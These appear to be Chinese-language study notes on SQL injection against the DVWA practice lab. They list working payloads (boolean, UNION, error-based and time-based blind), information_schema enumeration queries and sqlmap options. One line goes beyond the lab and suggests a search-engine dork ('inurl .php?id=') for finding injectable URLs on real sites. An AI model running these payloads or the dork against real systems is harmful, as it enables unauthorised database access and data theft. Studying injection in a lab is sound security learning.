Sql注入学习
- 需要用到靶机DVWA.
- 由于忘记了账号密码,用Navicat去本地服务器找到DVWA数据库里的user表
- 可知默认账号有五个 密码通过md5加密,去百度使用在线解密即可
进入DVWA后,选择low安全级别
- 方法一
- 使用’ or 1==1 - -ddddd 获取了所有用户信息
- 封闭前面语句 在给予一个绝对真的条件 在注释掉后面语句
- 由于sql语句前面内容已经写死,想要查询更多的内容就需要union来进行联合查询
- 方法二
- 使用Union来联合查询
- 问题1:Union 需要查询字段数相同
- 可以通过数字补充来猜且同步字段数
- 例:select * from dvwa.users union select user_login,user_pass,1,2,3,3 from …
- 问题2:需要知道你想要查询的字段名称,表名称,库名称
- 通过字典库来获取
- 注意点
- 字段名称不是union后的而是union前的
- 不需要前面查询语句的信息可以通过加上where(假条件)来保证前面语句不成立即可
- 例:select * from dvwa.users where 1=3 union select user_login,user_pass,1,2,3,3 from …
字典库:information_schema
TABLES表
select * from information_schema.TABLES;(\G更直观的看)
- TABLE_SCHEMA: 库名字
- TABLE_NAME: 表名字
COLUMNS表
- TABLE_SCHEMA: 库名字
- TABLE_NAME: 表名字
- COLUMN_NAME 字段名字
所以
select DISTINCT TABLE_SCHEMA from information_schema.TABLES; 等价于 show databases
select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA=‘dvwa’; //等价于show tables
select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY TABLE_SCHEMA\G
通过库分组整合表
select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA=’…’ and TABLE_NAME=’…’ 获得字段名
权限限制:查询时使用的用户是开发者定义的,所以能查询的库取决于定义用户的权限
手动注入实战
- 基于错误的注入
- 使用单引号看是否有系统报错(是否有过滤)
- 试探注入漏洞
- 基于布尔的注入
- 'or 1=1 - - suibian
- ’ 闭合前面的条件
- or 1=1 给真条件
-
- -suibian注释后面的语句
- 基于Union的注入
- 先union select 1,2,3,…确认猜测字段数
- 字段少了:补充1,2,3…即可
- 字段多了:通过concat来合字段
- ’ union select user() ,database(),version() – suibian 获取当前库和当前用户,当前数据库版本信息*
- 通过字典库获取
- 先union select 1,2,3,…确认猜测字段数
- 基于时间的盲注
- 真条件’ and sleep(5) – suibian 确认是否有注入点
- 通过字典库获取
sqlmap自动化注入
- -u URL, 包含目标参数的url (“http://www.site.com/vuln.php?id=1”)
- 百度获取有可能注入url:搜索 inurl .php?id=
- -batch 自己判断数据库
- -p 指定参数
- -dbs 获取所有数据库信息 -user 获取所有用户
- -D 指定库 -T 指定表 -C 指定列
- –sql-shell 进入交互模式 -q退出
!!POST传参时,-cookie=…而不是-cookie:…
Mysql基础
Mysql 进入 show databases(user); 查看所有数据库(表)
use []数据库名]; 选择数据库
select database(); 查看当前数据库
select user(); 查看当前用户名
select version(); 查看当前数据库版本信息
describe users; 查看表数据结构
limit (数字) 来限制查询行